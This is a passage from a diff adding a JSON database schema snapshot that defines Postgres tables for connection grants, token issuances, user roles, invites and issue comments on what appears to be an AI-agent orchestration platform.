+ }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.connection_grants": { + "name": "connection_grants", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "subject_user_id": { + "name": "subject_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_tenant": { + "name": "provider_tenant", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "credential_secret_refs": { + "name": "credential_secret_refs", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "is_default": { + "name": "is_default", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "revoked_by_agent_id": { + "name": "revoked_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "revoked_by_user_id": { + "name": "revoked_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "connection_grants_company_connection_idx": { + "name": "connection_grants_company_connection_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "connection_grants_subject_user_idx": { + "name": "connection_grants_subject_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "subject_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "connection_grants_user_uq": { + "name": "connection_grants_user_uq", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "subject_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "connection_grants_default_uq": { + "name": "connection_grants_default_uq", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"connection_grants\".\"is_default\" = true and \"connection_grants\".\"kind\" = 'workspace'", + "concurrently": false + } + }, + "foreignKeys": { + "connection_grants_company_id_companies_id_fk": { + "name": "connection_grants_company_id_companies_id_fk", + "tableFrom": "connection_grants", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "connection_grants_created_by_agent_id_agents_id_fk": { + "name": "connection_grants_created_by_agent_id_agents_id_fk", + "tableFrom": "connection_grants", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "connection_grants_revoked_by_agent_id_agents_id_fk": { + "name": "connection_grants_revoked_by_agent_id_agents_id_fk", + "tableFrom": "connection_grants", + "columnsFrom": [ + "revoked_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "connection_grants_company_connection_fk": { + "name": "connection_grants_company_connection_fk", + "tableFrom": "connection_grants", + "columnsFrom": [ + "company_id", + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "company_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "connection_grants_kind_check": { + "name": "connection_grants_kind_check", + "value": "\"connection_grants\".\"kind\" in ('workspace', 'user')" + }, + "connection_grants_status_check": { + "name": "connection_grants_status_check", + "value": "\"connection_grants\".\"status\" in ('active', 'revoked', 'expired', 'needs_reauthorization')" + }, + "connection_grants_subject_check": { + "name": "connection_grants_subject_check", + "value": "(\"connection_grants\".\"kind\" = 'user' and \"connection_grants\".\"subject_user_id\" is not null) or (\"connection_grants\".\"kind\" = 'workspace' and \"connection_grants\".\"subject_user_id\" is null)" + }, + "connection_grants_default_check": { + "name": "connection_grants_default_check", + "value": "\"connection_grants\".\"is_default\" = false or \"connection_grants\".\"kind\" = 'workspace'" + } + }, + "isRLSEnabled": false + }, + "public.connection_token_issuances": { + "name": "connection_token_issuances", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "path": { + "name": "path", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "requested_scope": { + "name": "requested_scope", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "issued_scope": { + "name": "issued_scope", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "ttl_seconds": { + "name": "ttl_seconds", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "outcome": { + "name": "outcome", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "error_code": { + "name": "error_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "connection_token_issuances_company_created_idx": { + "name": "connection_token_issuances_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "connection_token_issuances_connection_created_idx": { + "name": "connection_token_issuances_connection_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "connection_token_issuances_agent_connection_idx": { + "name": "connection_token_issuances_agent_connection_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "connection_token_issuances_run_idx": { + "name": "connection_token_issuances_run_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "connection_token_issuances_company_id_companies_id_fk": { + "name": "connection_token_issuances_company_id_companies_id_fk", + "tableFrom": "connection_token_issuances", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "connection_token_issuances_application_id_tool_applications_id_fk": { + "name": "connection_token_issuances_application_id_tool_applications_id_fk", + "tableFrom": "connection_token_issuances", + "columnsFrom": [ + "application_id" + ], + "tableTo": "tool_applications", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "connection_token_issuances_connection_id_tool_connections_id_fk": { + "name": "connection_token_issuances_connection_id_tool_connections_id_fk", + "tableFrom": "connection_token_issuances", + "columnsFrom": [ + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "connection_token_issuances_agent_id_agents_id_fk": { + "name": "connection_token_issuances_agent_id_agents_id_fk", + "tableFrom": "connection_token_issuances", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "connection_token_issuances_run_id_heartbeat_runs_id_fk": { + "name": "connection_token_issuances_run_id_heartbeat_runs_id_fk", + "tableFrom": "connection_token_issuances", + "columnsFrom": [ + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "connection_token_issuances_issue_id_issues_id_fk": { + "name": "connection_token_issuances_issue_id_issues_id_fk", + "tableFrom": "connection_token_issuances", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "connection_token_issuances_project_id_projects_id_fk": { + "name": "connection_token_issuances_project_id_projects_id_fk", + "tableFrom": "connection_token_issuances", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.instance_settings": { + "name": "instance_settings", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "singleton_key": { + "name": "singleton_key", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'default'" + }, + "default_environment_id": { + "name": "default_environment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "general": { + "name": "general", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "experimental": { + "name": "experimental", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "instance_settings_singleton_key_idx": { + "name": "instance_settings_singleton_key_idx", + "columns": [ + { + "expression": "singleton_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "instance_settings_default_environment_id_environments_id_fk": { + "name": "instance_settings_default_environment_id_environments_id_fk", + "tableFrom": "instance_settings", + "columnsFrom": [ + "default_environment_id" + ], + "tableTo": "environments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.instance_user_roles": { + "name": "instance_user_roles", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'instance_admin'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "instance_user_roles_user_role_unique_idx": { + "name": "instance_user_roles_user_role_unique_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "role", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "instance_user_roles_role_idx": { + "name": "instance_user_roles_role_idx", + "columns": [ + { + "expression": "role", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.invites": { + "name": "invites", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "invite_type": { + "name": "invite_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'company_join'" + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "allowed_join_types": { + "name": "allowed_join_types", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'both'" + }, + "defaults_payload": { + "name": "defaults_payload", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "invited_by_user_id": { + "name": "invited_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "accepted_at": { + "name": "accepted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "invites_token_hash_unique_idx": { + "name": "invites_token_hash_unique_idx", + "columns": [ + { + "expression": "token_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "invites_company_invite_state_idx": { + "name": "invites_company_invite_state_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "invite_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "revoked_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "invites_company_id_companies_id_fk": { + "name": "invites_company_id_companies_id_fk", + "tableFrom": "invites", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_approvals": { + "name": "issue_approvals", + "schema": "", + "columns": { + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "approval_id": { + "name": "approval_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "linked_by_agent_id": { + "name": "linked_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "linked_by_user_id": { + "name": "linked_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_approvals_issue_idx": { + "name": "issue_approvals_issue_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_approvals_approval_idx": { + "name": "issue_approvals_approval_idx", + "columns": [ + { + "expression": "approval_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_approvals_company_idx": { + "name": "issue_approvals_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_approvals_company_id_companies_id_fk": { + "name": "issue_approvals_company_id_companies_id_fk", + "tableFrom": "issue_approvals", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_approvals_issue_id_issues_id_fk": { + "name": "issue_approvals_issue_id_issues_id_fk", + "tableFrom": "issue_approvals", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_approvals_approval_id_approvals_id_fk": { + "name": "issue_approvals_approval_id_approvals_id_fk", + "tableFrom": "issue_approvals", + "columnsFrom": [ + "approval_id" + ], + "tableTo": "approvals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_approvals_linked_by_agent_id_agents_id_fk": { + "name": "issue_approvals_linked_by_agent_id_agents_id_fk", + "tableFrom": "issue_approvals", + "columnsFrom": [ + "linked_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": { + "issue_approvals_pk": { + "name": "issue_approvals_pk", + "columns": [ + "issue_id", + "approval_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_attachments": { + "name": "issue_attachments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "asset_id": { + "name": "asset_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_comment_id": { + "name": "issue_comment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_attachments_company_issue_idx": { + "name": "issue_attachments_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_attachments_issue_comment_idx": { + "name": "issue_attachments_issue_comment_idx", + "columns": [ + { + "expression": "issue_comment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_attachments_asset_uq": { + "name": "issue_attachments_asset_uq", + "columns": [ + { + "expression": "asset_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_attachments_company_id_companies_id_fk": { + "name": "issue_attachments_company_id_companies_id_fk", + "tableFrom": "issue_attachments", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_attachments_issue_id_issues_id_fk": { + "name": "issue_attachments_issue_id_issues_id_fk", + "tableFrom": "issue_attachments", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_attachments_asset_id_assets_id_fk": { + "name": "issue_attachments_asset_id_assets_id_fk", + "tableFrom": "issue_attachments", + "columnsFrom": [ + "asset_id" + ], + "tableTo": "assets", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_attachments_issue_comment_id_issue_comments_id_fk": { + "name": "issue_attachments_issue_comment_id_issue_comments_id_fk", + "tableFrom": "issue_attachments", + "columnsFrom": [ + "issue_comment_id" + ], + "tableTo": "issue_comments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_comments": { + "name": "issue_comments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "author_agent_id": { + "name": "author_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "author_user_id": { + "name": "author_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "on_behalf_of_user_id": { + "name": "on_behalf_of_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "author_type": { + "name": "author_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "derived_author_agent_id": { + "name": "derived_author_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "derived_created_by_run_id": { + "name": "derived_created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "derived_author_source": { + "name": "derived_author_source", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "presentation": { + "name": "presentation", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "deleted_by_type": { + "name": "deleted_by_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deleted_by_agent_id": { + "name": "deleted_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "deleted_by_user_id": { + "name": "deleted_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deleted_by_run_id": { + "name": "deleted_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "source_trust": { + "name": "source_trust", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_comments_issue_idx": { + "name": "issue_comments_issue_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_comments_company_idx": { + "name": "issue_comments_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_comments_company_issue_created_at_idx": { + "name": "issue_comments_company_issue_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_comments_company_author_issue_created_at_idx": { + "name": "issue_comments_company_author_issue_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "author_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_comments_body_search_idx": { + "name": "issue_comments_body_search_idx", + "columns": [ + { + "expression": "body", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + } + }, + "foreignKeys": { + "issue_comments_company_id_companies_id_fk": { + "name": "issue_comments_company_id_companies_id_fk", + "tableFrom": "issue_comments", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_comments_issue_id_issues_id_fk": { + "name": "issue_comments_issue_id_issues_id_fk", + "tableFrom": "issue_comments", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_comments_author_agent_id_agents_id_fk": { + "name": "issue_comments_author_agent_id_agents_id_fk", + "tableFrom": "issue_comments", + "columnsFrom": [ + "author_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_comments_on_behalf_of_user_id_user_id_fk": { + "name": "issue_comments_on_behalf_of_user_id_user_id_fk", + "tableFrom": "issue_comments", + "columnsFrom": [ + "on_behalf_of_user_id" + ], + "tableTo": "user", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_comments_created_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_comments_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_comments", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_comments_derived_author_agent_id_agents_id_fk": { + "name": "issue_comments_derived_author_agent_id_agents_id_fk", + "tableFrom": "issue_comments", + "columnsFrom": [ + "derived_author_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_comments", + "columnsFrom": [ + "derived_created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_comments_deleted_by_agent_id_agents_id_fk": { + "name": "issue_comments_deleted_by_agent_id_agents_id_fk", + "tableFrom": "issue_comments", + "columnsFrom": [ + "deleted_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_comments", + "columnsFrom": [ + "deleted_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_create_idempotency_keys": { + "name": "issue_create_idempotency_keys", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + 